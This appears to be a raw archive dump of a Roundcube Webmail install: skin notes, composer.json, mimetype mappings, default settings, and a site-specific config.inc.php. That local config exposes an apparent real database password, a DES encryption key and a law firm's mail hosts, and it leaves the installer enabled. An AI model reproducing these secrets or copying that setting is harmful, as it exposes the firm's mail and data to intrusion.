- Skin color palette changes and other css modifications can be done
  via _styles.less and _variables.less files. Where you can overwrite all
  variables and add custom styles.

- Minimum supported screen width is 240px (note that even if the device screen
  resolution is e.g.320x372 changing the text size in device settings will reduce
  the resolution)

- Every page (which is not a frame) has following required structure:
```
    <body>
        <div id="layout">
            <div id="layout-menu"></div>
            <div id="layout-sidebar"></div>
            <div id="layout-list"></div>
            <div id="layout-content"></div>
        </div>
    </body>
```
  where `#layout-sidebar` and `#layout-list` are optional. Which element of the `#layout` will be displayed
  as a main view on mobile devices can be defined by adding `selected` class to it.

- The `<html>` element will receive special classes that will be updated on resize
  or orientation change:
    - `touch`: A touch device, screen width <= 1024px,
    - `layout-large`: Screen width > 1200px,
    - `layout-normal`: Screen width <= 1200px and >= 768px,
    - `layout-small`: Screen width < 768px and > 480px,
    - `layout-phone`: Screen width <= 480px.

  Frames will have the same classes applied as their parent windows.

- Every button, that is not <button> nor <input> should have inner <span class="inner"> element
  for the button label.

- Every iframe need to be wrapped by an element with `iframe-wrapper` class. It is
  required to have proper scrolling on mobile devices.

- Special attributes:
    - `data-hidden`: Makes a menu entry/button hidden on specified screen sizes.
      Can be used for example for functionality not implemented or that has no sense
      on phones or touch devices. Contains a comma-separated list following values:
      `large` (width > 1200px), `big` (width > 768px), `small` (width =< 768px),
      `phone` (width =< 480px), `lbs` (width > 480px).

    - `data-content-button`: Makes the action button with this attribute to be copied
      to the content frame header on small/phone screens.

- Special URLs:
    In phone mode we display Prev/Next navigation buttons below the content preview
    frame. We do this e.g. for mail preview or contact preview. Plugins should use
    _action=add* or _action=create* or _nav=hide in the frame URL if the navigation
    should be hidden, which is the case when you create a content object.

- Dark mode:
    In dark mode html element will have `dark-mode` class assigned.
    It is possible to disable dark mode using less variable `@dark-mode-enabled`.
    Option `dark_mode_support` in meta.json controls addition of the mode switch in the menu.


KNOWN ISSUES
------------

1. There are known issues with running less in Roundcube devel_mode:
    - Dialogs executed on page load are displayed out of screen.
    - CodeMirror editor (in managesieve raw script editing mode) is broken.
PKh�\	.htaccessnu�[���PKh�\�B����
composer.jsonnu�[���{
    "name": "roundcube/roundcubemail",
    "description": "The Roundcube Webmail suite",
    "license": "GPL-3.0-or-later",
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "pear/pear-core-minimal": "~1.10.1",
        "pear/auth_sasl": "~1.1.0",
        "pear/mail_mime": "~1.10.0",
        "pear/net_smtp": "~1.10.0",
        "pear/crypt_gpg": "~1.6.3",
        "pear/net_sieve": "~1.4.5",
        "roundcube/plugin-installer": "~0.3.1",
        "roundcube/rtf-html-php": "~2.1",
        "masterminds/html5": "~2.7.0",
        "bacon/bacon-qr-code": "^2.0.0",
        "guzzlehttp/guzzle": "^7.3.0",
        "kolab/net_ldap3": "~1.1.4"
    },
    "suggest": {
        "bjeavons/zxcvbn-php": "^1.0 required for Zxcvbn password strength driver"
    },
    "config": {
        "allow-plugins": {
            "roundcube/plugin-installer": true
        }
    }
}
PKh�\$�R		config/config.inc.phpnu�[���<?php

/* Local configuration for Roundcube Webmail */

// ----------------------------------
// SQL DATABASE
// ----------------------------------
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// Note: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
// Note: Various drivers support various additional arguments for connection,
//       for Mysql: key, cipher, cert, capath, ca, verify_server_cert,
//       for Postgres: application_name, sslmode, sslcert, sslkey, sslrootcert, sslcrl, sslcompression, service.
//       e.g. 'mysql://roundcube:@localhost/roundcubemail?verify_server_cert=false'
$config['db_dsnw'] = 'mysql://lnzliplg_roun939:S[46[!Al05(2PY(p@localhost/lnzliplg_roun939';

// you can define specific table (and sequence) names prefix
$config['db_prefix'] = 'rciy_';

// ----------------------------------
// IMAP
// ----------------------------------
// The IMAP host (and optionally port number) chosen to perform the log-in.
// Leave blank to show a textbox at login, give a list of hosts
// to display a pulldown menu or set one host as string.
// Enter hostname with prefix ssl:// to use Implicit TLS, or use
// prefix tls:// to use STARTTLS.
// If port number is omitted it will be set to 993 (for ssl://) or 143 otherwise.
// Supported replacement variables:
// %n - hostname ($_SERVER['SERVER_NAME'])
// %t - hostname without the first part
// %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
// %s - domain name after the '@' from e-mail address provided at login screen
// For example %n = mail.domain.tld, %t = domain.tld
// WARNING: After hostname change update of mail_host column in users table is
//          required to match old user data records with the new host.
$config['imap_host'] = 'ssl://imap.lnzlegalfirm.ca:143';

// ----------------------------------
// SMTP
// ----------------------------------
// SMTP server host (and optional port number) for sending mails.
// Enter hostname with prefix ssl:// to use Implicit TLS, or use
// prefix tls:// to use STARTTLS.
// If port number is omitted it will be set to 465 (for ssl://) or 587 otherwise.
// Supported replacement variables:
// %h - user's IMAP hostname
// %n - hostname ($_SERVER['SERVER_NAME'])
// %t - hostname without the first part
// %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
// %z - IMAP domain (IMAP hostname without the first part)
// For example %n = mail.domain.tld, %t = domain.tld
// To specify different SMTP servers for different IMAP hosts provide an array
// of IMAP host (no prefix or port) and SMTP server e.g. ['imap.example.com' => 'smtp.example.net']
$config['smtp_host'] = 'ssl://smtp.lnzlegalfirm.ca:25';

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = 'http://lnzlegalfirm.ca/roundcube';

// This key is used for encrypting purposes, like storing of imap password
// in the session. For historical reasons it's called DES_key, but it's used
// with any configured cipher_method (see below).
// For the default cipher_method a required key length is 24 characters.
$config['des_key'] = '*Q7Eh9gmSQ4C2?ckJOyijErZ';

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'My Roundcube Mail';

// ----------------------------------
// PLUGINS
// ----------------------------------
// List of active plugins (in plugins/ directory)
$config['plugins'] = [];

// the default locale setting (leave empty for auto-detection)
// RFC1766 formatted language name like en_US, de_DE, de_CH, fr_FR, pt_BR
$config['language'] = 'en_US';


$config['enable_installer'] = true;
$config['enable_installer'] = true;PKh�\�i�B��config/.htaccessnu�[���# deny webserver access to this directory
<ifModule mod_authz_core.c>
    Require all denied
</ifModule>
<ifModule !mod_authz_core.c>
    Deny from all
</ifModule>
PKh�\����
�
config/mimetypes.phpnu�[���<?php

/**
 * Local mapping file to specify mime-types based on common file-name extensions
 *
 * Please note that this mapping takes precedence over the content-based mime-type detection
 * and should only contain mappings which cannot be detected properly from the file contents.
 */

return [
  'xls' => 'application/vnd.ms-excel',
  'xlm' => 'application/vnd.ms-excel',
  'xla' => 'application/vnd.ms-excel',
  'xlc' => 'application/vnd.ms-excel',
  'xlt' => 'application/vnd.ms-excel',
  'xlw' => 'application/vnd.ms-excel',
  'pdf' => 'application/pdf',
  'ppt' => 'application/vnd.ms-powerpoint',
  'pps' => 'application/vnd.ms-powerpoint',
  'pot' => 'application/vnd.ms-powerpoint',
  'doc' => 'application/msword',
  'dot' => 'application/msword',
  'odc' => 'application/vnd.oasis.opendocument.chart',
  'otc' => 'application/vnd.oasis.opendocument.chart-template',
  'odf' => 'application/vnd.oasis.opendocument.formula',
  'otf' => 'application/vnd.oasis.opendocument.formula-template',
  'odg' => 'application/vnd.oasis.opendocument.graphics',
  'otg' => 'application/vnd.oasis.opendocument.graphics-template',
  'odi' => 'application/vnd.oasis.opendocument.image',
  'oti' => 'application/vnd.oasis.opendocument.image-template',
  'odp' => 'application/vnd.oasis.opendocument.presentation',
  'otp' => 'application/vnd.oasis.opendocument.presentation-template',
  'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
  'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template',
  'odt' => 'application/vnd.oasis.opendocument.text',
  'otm' => 'application/vnd.oasis.opendocument.text-master',
  'ott' => 'application/vnd.oasis.opendocument.text-template',
  'oth' => 'application/vnd.oasis.opendocument.text-web',
  'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
  'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
  'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
  'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
  'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
  'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  'xps' => 'application/vnd.ms-xpsdocument',
  'rar' => 'application/x-rar-compressed',
  '7z'  => 'application/x-7z-compressed',
  's7z' => 'application/x-7z-compressed',
  'vcf' => 'text/vcard',
  'ics' => 'text/calendar',
];
PKh�\��s�D�D�config/defaults.inc.phpnu�[���<?php

// ---------------------------------------------------------------------
// WARNING: Do not edit this file! Copy configuration to config.inc.php.
// ---------------------------------------------------------------------

/*
 +-----------------------------------------------------------------------+
 | Default settings for all configuration options                        |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

$config = [];

// ----------------------------------
// SQL DATABASE
// ----------------------------------

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// Note: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
// Note: Various drivers support various additional arguments for connection,
//       for Mysql: key, cipher, cert, capath, ca, verify_server_cert,
//       for Postgres: application_name, sslmode, sslcert, sslkey, sslrootcert, sslcrl, sslcompression, service.
//       e.g. 'mysql://roundcube:@localhost/roundcubemail?verify_server_cert=false'
$config['db_dsnw'] = 'mysql://roundcube:@localhost/roundcubemail';

// Database DSN for read-only operations (if empty write database will be used)
// useful for database replication
$config['db_dsnr'] = '';

// Disable the use of already established dsnw connections for subsequent reads
$config['db_dsnw_noread'] = false;

// use persistent db-connections
// beware this will not "always" work as expected
// see: http://www.php.net/manual/en/features.persistent-connections.php
$config['db_persistent'] = false;

// you can define specific table (and sequence) names prefix
$config['db_prefix'] = '';

// Mapping of table names and connections to use for ALL operations.
// This can be used in a setup with replicated databases and a DB master
// where read/write access to cache tables should not go to master.
$config['db_table_dsn'] = [
//    'cache' => 'r',
//    'cache_index' => 'r',
//    'cache_thread' => 'r',
//    'cache_messages' => 'r',
];

// It is possible to specify database variable values e.g. some limits here.
// Use them if your server is not MySQL or for better performance.
// For example Roundcube uses max_allowed_packet value (in bytes)
// which limits query size for database cache operations.
$config['db_max_allowed_packet'] = null;


// ----------------------------------
// LOGGING/DEBUGGING
// ----------------------------------

// log driver:  'syslog', 'stdout' or 'file'.
$config['log_driver'] = 'file';

// date format for log entries
// (read http://php.net/manual/en/function.date.php for all format characters)
$config['log_date_format'] = 'd-M-Y H:i:s O';

// length of the session ID to prepend each log line with
// set to 0 to avoid session IDs being logged.
$config['log_session_id'] = 8;

// Default extension used for log file name
$config['log_file_ext'] = '.log';

// Syslog ident string to use, if using the 'syslog' log driver.
$config['syslog_id'] = 'roundcube';

// Syslog facility to use, if using the 'syslog' log driver.
// For possible values see installer or http://php.net/manual/en/function.openlog.php
$config['syslog_facility'] = LOG_USER;

// Activate this option if logs should be written to per-user directories.
// Data will only be logged if a directory <log_dir>/<username>/ exists and is writable.
$config['per_user_logging'] = false;

// Log sent messages to <log_dir>/sendmail.log or to syslog
$config['smtp_log'] = true;

// Log successful/failed logins to <log_dir>/userlogins.log or to syslog
$config['log_logins'] = false;

// Log session debug information/authentication errors to <log_dir>/session.log or to syslog
$config['session_debug'] = false;

// Log SQL queries to <log_dir>/sql.log or to syslog
$config['sql_debug'] = false;

// Log IMAP conversation to <log_dir>/imap.log or to syslog
$config['imap_debug'] = false;

// Log LDAP conversation to <log_dir>/ldap.log or to syslog
$config['ldap_debug'] = false;

// Log SMTP conversation to <log_dir>/smtp.log or to syslog
$config['smtp_debug'] = false;

// Log Memcache conversation to <log_dir>/memcache.log or to syslog
$config['memcache_debug'] = false;

// Log APC conversation to <log_dir>/apc.log or to syslog
$config['apc_debug'] = false;

// Log Redis conversation to <log_dir>/redis.log or to syslog
$config['redis_debug'] = false;


// ----------------------------------
// IMAP
// ----------------------------------

// The IMAP host (and optionally port number) chosen to perform the log-in.
// Leave blank to show a textbox at login, give a list of hosts
// to display a pulldown menu or set one host as string.
// Enter hostname with prefix ssl:// to use Implicit TLS, or use
// prefix tls:// to use STARTTLS.
// If port number is omitted it will be set to 993 (for ssl://) or 143 otherwise.
// Supported replacement variables:
// %n - hostname ($_SERVER['SERVER_NAME'])
// %t - hostname without the first part
// %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
// %s - domain name after the '@' from e-mail address provided at login screen
// For example %n = mail.domain.tld, %t = domain.tld
// WARNING: After hostname change update of mail_host column in users table is
//          required to match old user data records with the new host.
$config['imap_host'] = 'localhost:143';

// IMAP authentication method (DIGEST-MD5, CRAM-MD5, LOGIN, PLAIN or null).
// Use 'IMAP' to authenticate with IMAP LOGIN command.
// By default the most secure method (from supported) will be selected.
$config['imap_auth_type'] = null;

// IMAP socket context options
// See http://php.net/manual/en/context.ssl.php
// The example below enables server certificate validation
//$config['imap_conn_options'] = [
//  'ssl'         => [
//     'verify_peer'  => true,
//     'verify_depth' => 3,
//     'cafile'       => '/etc/openssl/certs/ca.crt',
//   ],
// ];
// Note: These can be also specified as an array of options indexed by hostname
$config['imap_conn_options'] = null;

// IMAP connection timeout, in seconds. Default: 0 (use default_socket_timeout)
$config['imap_timeout'] = 0;

// Optional IMAP authentication identifier to be used as authorization proxy
$config['imap_auth_cid'] = null;

// Optional IMAP authentication password to be used for imap_auth_cid
$config['imap_auth_pw'] = null;

// If you know your imap's folder delimiter, you can specify it here.
// Otherwise it will be determined automatically
$config['imap_delimiter'] = null;

// If you know your imap's folder vendor, you can specify it here.
// Otherwise it will be determined automatically. Use lower-case
// identifiers, e.g. 'dovecot', 'cyrus', 'gimap', 'hmail', 'uw-imap'.
$config['imap_vendor'] = null;

// If IMAP server doesn't support NAMESPACE extension, but you're
// using shared folders or personal root folder is non-empty, you'll need to
// set these options. All can be strings or arrays of strings.
// Note: Folders need to be ended with directory separator, e.g. "INBOX."
//       (special directory "~" is an exception to this rule)
// Note: These can be used also to overwrite server's namespaces
// Note: Set these to FALSE to disable access to specified namespace
$config['imap_ns_personal'] = null;
$config['imap_ns_other']    = null;
$config['imap_ns_shared']   = null;

// By default IMAP capabilities are read after connection to IMAP server
// In some cases, e.g. when using IMAP proxy, there's a need to refresh the list
// after login. Set to True if you've got this case.
$config['imap_force_caps'] = false;

// By default list of subscribed folders is determined using LIST-EXTENDED
// extension if available. Some servers (dovecot 1.x) returns wrong results
// for shared namespaces in this case. https://github.com/roundcube/roundcubemail/issues/2474
// Enable this option to force LSUB command usage instead.
// Deprecated: Use imap_disabled_caps = ['LIST-EXTENDED']
$config['imap_force_lsub'] = false;

// Some server configurations (e.g. Courier) doesn't list folders in all namespaces
// Enable this option to force listing of folders in all namespaces
$config['imap_force_ns'] = false;

// Some servers return hidden folders (name starting with a dot)
// from user home directory. IMAP RFC does not forbid that.
// Enable this option to hide them and disable possibility to create such.
$config['imap_skip_hidden_folders'] = false;

// Some servers do not support folders with both folders and messages inside
// If your server supports that use true, if it does not, use false.
// By default it will be determined automatically (once per user session).
$config['imap_dual_use_folders'] = null;

// List of disabled imap extensions.
// Use if your IMAP server has broken implementation of some feature
// and you can't remove it from CAPABILITY string on server-side.
// For example UW-IMAP server has broken ESEARCH.
// Note: Because the list is cached, re-login is required after change.
$config['imap_disabled_caps'] = [];

// Log IMAP session identifiers after each IMAP login.
// This is used to relate IMAP session with Roundcube user sessions
$config['imap_log_session'] = false;

// Type of IMAP indexes cache. Supported values: 'db', 'apc' and 'memcache' or 'memcached'.
$config['imap_cache'] = null;

// Enables messages cache. Only 'db' cache is supported.
// This requires an IMAP server that supports QRESYNC and CONDSTORE
// extensions (RFC7162). See synchronize() in program/lib/Roundcube/rcube_imap_cache.php
// for further info, or if you experience syncing problems.
$config['messages_cache'] = false;

// Lifetime of IMAP indexes cache. Possible units: s, m, h, d, w
$config['imap_cache_ttl'] = '10d';

// Lifetime of messages cache. Possible units: s, m, h, d, w
$config['messages_cache_ttl'] = '10d';

// Maximum cached message size in kilobytes.
// Note: On MySQL this should be less than (max_allowed_packet - 30%)
$config['messages_cache_threshold'] = 50;


// ----------------------------------
// SMTP
// ----------------------------------

// SMTP server host (and optional port number) for sending mails.
// Enter hostname with prefix ssl:// to use Implicit TLS, or use
// prefix tls:// to use STARTTLS.
// If port number is omitted it will be set to 465 (for ssl://) or 587 otherwise.
// Supported replacement variables:
// %h - user's IMAP hostname
// %n - hostname ($_SERVER['SERVER_NAME'])
// %t - hostname without the first part
// %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
// %z - IMAP domain (IMAP hostname without the first part)
// For example %n = mail.domain.tld, %t = domain.tld
// To specify different SMTP servers for different IMAP hosts provide an array
// of IMAP host (no prefix or port) and SMTP server e.g. ['imap.example.com' => 'smtp.example.net']
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required)
// Note: %u variable will be replaced with current user's username
$config['smtp_user'] = '%u';

// SMTP password (if required)
// Note: When set to '%p' current user's password will be used
$config['smtp_pass'] = '%p';

// SMTP AUTH type (DIGEST-MD5, CRAM-MD5, LOGIN, PLAIN or empty to use
// best server supported one)
$config['smtp_auth_type'] = null;

// Optional SMTP authentication identifier to be used as authorization proxy
$config['smtp_auth_cid'] = null;

// Optional SMTP authentication password to be used for smtp_auth_cid
$config['smtp_auth_pw'] = null;

// Pass the username (XCLIENT LOGIN) to the server
$config['smtp_xclient_login'] = false;

// Pass the remote IP (XCLIENT ADDR) to the server
$config['smtp_xclient_addr'] = false;


// SMTP HELO host
// Hostname to give to the remote server for SMTP 'HELO' or 'EHLO' messages
// Leave this blank and you will get the server variable 'server_name' or
// localhost if that isn't defined.
$config['smtp_helo_host'] = '';

// SMTP connection timeout, in seconds. Default: 0 (use default_socket_timeout)
// Note: There's a known issue where using ssl connection with
// timeout > 0 causes connection errors (https://bugs.php.net/bug.php?id=54511)
$config['smtp_timeout'] = 0;

// SMTP socket context options
// See http://php.net/manual/en/context.ssl.php
// The example below enables server certificate validation, and
// requires 'smtp_timeout' to be non zero.
// $config['smtp_conn_options'] = [
//     'ssl' => [
//         'verify_peer'  => true,
//         'verify_depth' => 3,
//         'cafile'       => '/etc/openssl/certs/ca.crt',
//     ],
// ];
// Note: These can be also specified as an array of options indexed by hostname
$config['smtp_conn_options'] = null;


// ----------------------------------
// OAuth
// ----------------------------------

// Enable OAuth2 by defining a provider. Use 'generic' here
$config['oauth_provider'] = null;

// Provider name to be displayed on the login button
$config['oauth_provider_name'] = 'Google';

// Mandatory: OAuth client ID for your Roundcube installation
$config['oauth_client_id'] = null;

// Mandatory: OAuth client secret
$config['oauth_client_secret'] = null;

// Mandatory: URI for OAuth user authentication (redirect)
$config['oauth_auth_uri'] = null;

// Mandatory: Endpoint for OAuth authentication requests (server-to-server)
$config['oauth_token_uri'] = null;

// Optional: Endpoint to query user identity if not provided in auth response
$config['oauth_identity_uri'] = null;

// Optional: disable SSL certificate check on HTTP requests to OAuth server
// See http://docs.guzzlephp.org/en/stable/request-options.html#verify for possible values
$config['oauth_verify_peer'] = true;

// Mandatory: OAuth scopes to request (space-separated string)
$config['oauth_scope'] = null;

// Optional: additional query parameters to send with login request (hash array)
$config['oauth_auth_parameters'] = [];

// Optional: array of field names used to resolve the username within the identity information
$config['oauth_identity_fields'] = null;

// Boolean: automatically redirect to OAuth login when opening Roundcube without a valid session
$config['oauth_login_redirect'] = false;

///// Example config for Gmail

// Register your service at https://console.developers.google.com/
// - use https://<your-roundcube-url>/index.php/login/oauth as redirect URL

// $config['imap_host'] = 'ssl://imap.gmail.com';
// $config['oauth_provider'] = 'google';
// $config['oauth_provider_name'] = 'Google';
// $config['oauth_client_id'] = "<your-credentials-client-id>";
// $config['oauth_client_secret'] = "<your-credentials-client-secret>";
// $config['oauth_auth_uri'] = "https://accounts.google.com/o/oauth2/auth";
// $config['oauth_token_uri'] = "https://oauth2.googleapis.com/token";
// $config['oauth_identity_uri'] = 'https://www.googleapis.com/oauth2/v1/userinfo';
// $config['oauth_scope'] = "email profile openid https://mail.google.com/";
// $config['oauth_auth_parameters'] = ['access_type' => 'offline', 'prompt' => 'consent'];

///// Example config for Outlook.com (Office 365)

// Register your OAuth client at https://portal.azure.com
// - use https://<your-roundcube-url>/index.php/login/oauth as redirect URL
// - grant permissions to Microsoft Graph API "IMAP.AccessAsUser.All", "SMTP.Send", "User.Read" and "offline_access"

// $config['imap_host'] = 'ssl://outlook.office365.com';
// $config['smtp_host'] = 'ssl://smtp.office365.com';

// $config['oauth_provider'] = 'outlook';
// $config['oauth_provider_name'] = 'Outlook.com';
// $config['oauth_client_id'] = "<your-credentials-client-id>";
// $config['oauth_client_secret'] = "<your-credentials-client-secret>";
// $config['oauth_auth_uri'] = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize";
// $config['oauth_token_uri'] = "https://login.microsoftonline.com/common/oauth2/v2.0/token";
// $config['oauth_identity_uri'] = "https://graph.microsoft.com/v1.0/me";
// $config['oauth_identity_fields'] = ['email', 'userPrincipalName'];
// $config['oauth_scope'] = "https://outlook.office365.com/IMAP.AccessAsUser.All https://outlook.office365.com/SMTP.Send User.Read offline_access";
// $config['oauth_auth_parameters'] = ['nonce' => mt_rand()];

// ----------------------------------
// LDAP
// ----------------------------------

// Type of LDAP cache. Supported values: 'db', 'apc' and 'memcache' or 'memcached'.
$config['ldap_cache'] = 'db';

// Lifetime of LDAP cache. Possible units: s, m, h, d, w
$config['ldap_cache_ttl'] = '10m';


// ----------------------------------
// CACHE(S)
// ----------------------------------

// Use these hosts for accessing memcached
// Define any number of hosts in the form of hostname:port or unix:///path/to/socket.file
// Example: ['localhost:11211', '192.168.1.12:11211', 'unix:///var/tmp/memcached.sock'];
$config['memcache_hosts'] = null;

// Controls the use of a persistent connections to memcache servers
// See http://php.net/manual/en/memcache.addserver.php
$config['memcache_pconnect'] = true;

// Value in seconds which will be used for connecting to the daemon
// See http://php.net/manual/en/memcache.addserver.php
$config['memcache_timeout'] = 1;

// Controls how often a failed server will be retried (value in seconds).
// Setting this parameter to -1 disables automatic retry.
// See http://php.net/manual/en/memcache.addserver.php
$config['memcache_retry_interval'] = 15;

// Use these hosts for accessing Redis.
// Currently only one host is supported. Cluster support may come in a future release.
// You can pass 4 fields, host, port (optional), database (optional) and password (optional).
// Unset fields will be set to the default values host=127.0.0.1, port=6379.
// Examples:
//     ['localhost:6379'];
//     ['192.168.1.1:6379:1:secret'];
//     ['unix:///var/run/redis/redis-server.sock:1:secret'];
$config['redis_hosts'] = null;

// Maximum size of an object in memcache (in bytes). Default: 2MB
$config['memcache_max_allowed_packet'] = '2M';

// Maximum size of an object in APC cache (in bytes). Default: 2MB
$config['apc_max_allowed_packet'] = '2M';

// Maximum size of an object in Redis cache (in bytes). Default: 2MB
$config['redis_max_allowed_packet'] = '2M';


// ----------------------------------
// SYSTEM
// ----------------------------------

// THIS OPTION WILL ALLOW THE INSTALLER TO RUN AND CAN EXPOSE SENSITIVE CONFIG DATA.
// ONLY ENABLE IT IF YOU'RE REALLY SURE WHAT YOU'RE DOING!
$config['enable_installer'] = false;

// don't allow these settings to be overridden by the user
$config['dont_override'] = [];

// List of disabled UI elements/actions
$config['disabled_actions'] = [];

// define which settings should be listed under the 'advanced' block
// which is hidden by default
$config['advanced_prefs'] = [];

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';

// Location of the blank (watermark) frame page. By default it is the watermark.html
// file from the currently selected skin. Prepend name/path with a slash to use
// current skin folder. Remove the slash to point to a file in the Roundcube
// root directory. It can be also a full URL.
$config['blankpage_url'] = '/watermark.html';

// Logo image replacement. Specifies location of the image as:
// - URL relative to the document root of this Roundcube installation
// - full URL with http:// or https:// prefix
// - URL relative to the current skin folder (when starts with a '/')
//
// An array can be used to specify different logos for specific template files
// The array key specifies the place(s) the logo should be applied to and
// is made up of (up to) 3 parts:
// - skin name prefix (always with colon, can be replaced with *)
// - template name (or * for all templates)
// - logo type - it is used for logos used on multiple templates and the available types include:
//      '[favicon]' for favicon
//      '[print]' for logo on all print templates (e.g. messageprint, contactprint)
//      '[small]' for small screen logo in supported skins
//      '[dark]' and '[small-dark]' for dark mode logo in supported skins
//      '[link]' for adding a URL link to the logo image
//
// Example config for skin_logo
/*
   [
     // show the image /images/logo_login_small.png for the Login screen in the Elastic skin on small screens
     "elastic:login[small]" => "/images/logo_login_small.png",
     // show the image /images/logo_login.png for the Login screen in the Elastic skin
     "elastic:login" => "/images/logo_login.png",
     // add a link to the logo on the Login screen in the Elastic skin
     "elastic:login[link]" => "https://www.example.com",
     // add a link to the logo on all screens in the Elastic skin
     "elastic:*[link]" => "https://www.example.com",
     // add a link to the logo on all screens for all skins
     "[link]" => "https://www.example.com",
     // show the image /images/logo_small.png in the Elastic skin
     "elastic:*[small]" => "/images/logo_small.png",
     // show the image /images/larry.png in the Larry skin
     "larry:*" => "/images/larry.png",
     // show the image /images/logo_login.png on the login template in all skins
     "login" => "/images/logo_login.png",
     // show the image /images/logo_print.png for all print type logos in all skins
     "[print]" => "/images/logo_print.png",
   ];
*/
$config['skin_logo'] = null;

// Automatically register user in Roundcube database on successful (IMAP) logon.
// Set to false if only registered users should be allowed to the webmail.
// Note: If disabled you have to create records in Roundcube users table by yourself.
// Note: Roundcube does not manage/create users on a mail server.
$config['auto_create_user'] = true;

// Enables possibility to log in using email address from user identities
$config['user_aliases'] = false;

// use this folder to store log files
// must be writeable for the user who runs PHP process (Apache user if mod_php is being used)
// This is used by the 'file' log driver.
$config['log_dir'] = RCUBE_INSTALL_PATH . 'logs/';

// Location of temporary saved files such as attachments and cache files
// must be writeable for the user who runs PHP process (Apache user if mod_php is being used)
$config['temp_dir'] = RCUBE_INSTALL_PATH . 'temp/';

// expire files in temp_dir after 48 hours
// possible units: s, m, h, d, w
$config['temp_dir_ttl'] = '48h';

// Enforce connections over https
// With this option enabled, all non-secure connections will be redirected.
// It can be also a port number, hostname or hostname:port if they are
// different than default HTTP_HOST:443
$config['force_https'] = false;

// tell PHP that it should work as under secure connection
// even if it doesn't recognize it as secure ($_SERVER['HTTPS'] is not set)
// e.g. when you're running Roundcube behind a https proxy
// this option is mutually exclusive to 'force_https' and only either one of them should be set to true.
$config['use_https'] = false;

// Allow browser-autocompletion on login form.
// 0 - disabled, 1 - username and host only, 2 - username, host, password
$config['login_autocomplete'] = 0;

// Forces conversion of logins to lower case.
// 0 - disabled, 1 - only domain part, 2 - domain and local part.
// If users authentication is case-insensitive this must be enabled.
// Note: After enabling it all user records need to be updated, e.g. with query:
//       UPDATE users SET username = LOWER(username);
$config['login_lc'] = 2;

// Maximum length (in bytes) of logon username and password.
$config['login_username_maxlen'] = 1024;
$config['login_password_maxlen'] = 1024;

// Logon username filter. Regular expression for use with preg_match().
// Use special value 'email' if you accept only full email addresses as user logins.
// Example: '/^[a-z0-9_@.-]+$/'
$config['login_username_filter'] = null;

// Brute-force attacks prevention.
// The value specifies maximum number of failed logon attempts per minute.
$config['login_rate_limit'] = 3;

// Includes should be interpreted as PHP files
$config['skin_include_php'] = false;

// display product name and software version on login screen
// 0 - hide product name and version number, 1 - show product name only, 2 - show product name and version number
$config['display_product_info'] = 1;

// Session lifetime in minutes
$config['session_lifetime'] = 10;

// Session domain: .example.org
$config['session_domain'] = '';

// Session name. Default: 'roundcube_sessid'
$config['session_name'] = null;

// Session authentication cookie name. Default: 'roundcube_sessauth'
$config['session_auth_name'] = null;

// Session path. Defaults to PHP session.cookie_path setting.
$config['session_path'] = null;

// Session samesite. Defaults to PHP session.cookie_samesite setting.
// Requires PHP >= 7.3.0, see https://wiki.php.net/rfc/same-site-cookie for more info
// Possible values: null (default), 'Lax', or 'Strict'
$config['session_samesite'] = null;

// Backend to use for session storage. Can either be 'db' (default), 'redis', 'memcache', or 'php'
//
// If set to 'memcache' or 'memcached', a list of servers need to be specified in 'memcache_hosts'
// Make sure the Memcache extension (https://pecl.php.net/package/memcache) version >= 2.0.0
// or the Memcached extension (https://pecl.php.net/package/memcached) version >= 2.0.0 is installed.
//
// If set to 'redis', a server needs to be specified in 'redis_hosts'
// Make sure the Redis extension (https://pecl.php.net/package/redis) version >= 2.0.0 is installed.
//
// Setting this value to 'php' will use the default session save handler configured in PHP
$config['session_storage'] = 'db';

// List of trusted proxies
// X_FORWARDED_* and X_REAL_IP headers are only accepted from these IPs
$config['proxy_whitelist'] = [];

// List of trusted host names
// Attackers can modify Host header of the HTTP request causing $_SERVER['SERVER_NAME']
